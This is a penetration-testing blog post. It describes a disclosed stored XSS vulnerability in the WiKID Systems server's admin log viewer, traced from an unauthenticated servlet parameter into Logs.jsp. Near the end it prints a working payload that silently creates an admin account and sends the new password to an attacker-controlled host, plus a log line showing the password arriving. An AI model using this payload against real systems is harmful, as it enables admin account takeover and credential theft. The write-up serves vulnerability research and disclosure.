Something from Nothing; a Pentest Story

While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank...

Aaron Bishop
Cybersecurity
Penetration Testing
Security Research
Something from Nothing; a Pentest Story

While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank:

<meta http-equiv="refresh" content="0;url=/WiKIDAdmin/">
<html>
<head><title>W i K I D S Y S T E M S</title></head>
<body bgcolor="ffffff">
<center><a href="http://www.wikidsystems.com/"><img src="../openid/images/logo.gif" border=0></a></center> </body>
</html>

I visited http://www.wikidsystems.com to gather information on the mystery service which led to an .iso and .rpm available from http://www.wikidsystems.com.

Extracting the contents of wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm revealed two .war files in a webapps directory:

$ rpm2cpio wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm | cpio -idmv
...
./opt/WiKID/webapps/WiKIDAdmin.war
./opt/WiKID/webapps/wikid.war

WiKIDAdmin.war contained .jsp files for the Admin web application at /WiKIDAdmin/, authentication was required for this web application. I installed the .iso on VirtualBox; with a default installation, I had access to the /WiKIDAdmin/ and /wikid/ functionality.

Reviewing web.xml, for wikid.war, showed several external URLs mapped to servlets that did not require authentication, including:

...
 <servlet>
 <servlet-name>PreRegister</servlet-name>
 <servlet-class>
com.wikidsystems.server.PreRegister</servlet-class>
 </servlet>
...
 <servlet-mapping>
 <servlet-name>PreRegister</servlet-name>
 <url-pattern>
/PreRegister</url-pattern>
 </servlet-mapping>
...

I traced com.wikidsystems.server.PreRegister, and the other servlets, to wikid-server-enterprise-lib-4.2.0.jar. The source for com.wikidsystems.server.PreRegister revealed several parameters, including the a parameter, were accepted by the endpoint:

source code example

The a parameter is expected to be an Integer:

66 try {
67 requestAction = Integer.parseInt(
request.getParameter("a"));
68 logger.debug("Determined requested action: " + requestAction);
69 }

If the a parameter is not an Integer, an error is thrown and the value of a is passed to the logger:

70 catch (NumberFormatException nfe) {
71 nfe.printStackTrace();
72 logger.error("IO error during registration -- recieved action: " +
request.getParameter("a"), nfe);
73 }

I found that logged errors are stored and displayed in the authenticated application in the Logs.jsp functionality by submitting the value test for a. The severity of the issue is high enough to be displayed by default:

log viewer example

Logs.jsp revealed the error message is stored as rendered_message and is not sanitized before it is included in the page:

394 sb.append("<TD class=\"logTableCell\" style=\"white-space:normal;\">")
395 .append("<a href='./Log.jsp?subString=" +
rs.getString("rendered_message")+ "'>")
396 .append("<img src='./images/toolFilter.png' alt='' border=\"0px\" width=\"15px\" height=\"15px\"/></a>")
397 .append(rs.getString("rendered_message").replaceAll("<", "&lt;").replaceAll(">", "&gt;"))
398 .append("</TD>");

rendered_message is included in an <a> element that is being constructed; escaping out of the href attribute would allow me to create arbitrary elements. I went with the string test'><script>alert(123)</script> to verify an attack was possible:

script showing attack string

I modified the attack string to be:

test'><script>window.addEventListener('load',function(){var+randomstring+%3d+Math.random().toString(36).slice(-12);$.get(window.location.origin%2b'/WiKIDAdmin/adm_usrs.jsp%3fusr%3dtest%26newpass1%3d'%2brandomstring%2b'%26newpass2%3d'%2brandomstring%2b'%26action%3dAdd');$.get('https://$LHOST%3fpass%3d'%2brandomstring)%3b});</script><!--

The string ends with <!-- to provide some concealment for the attack; the input will not appear in the table, it appears in a comment so the malicious input string is not displayed:

malicious input string example

When Logs.jsp is visited, an Admin user is unintentionally created; the password is sent to a host I control, and I gain admin access to the Host:

$RHOST - - [13/Oct/2019 22:12:24] "GET /?pass=0.zo2em7aohn HTTP/1.1" 200 -

Several identified issues have been assigned CVE identifiers, the official disclosures can be found here:

Special thanks to Nick Owen (@wikidsystems) from WiKID Systems for the quick response and work to address identified issues.

Join Thousands of Security Professionals.

Subscribe Now

Interactive Penetration Testing Timeline Checklist

Download

Get Quote for Penetration Testing

Request a Quote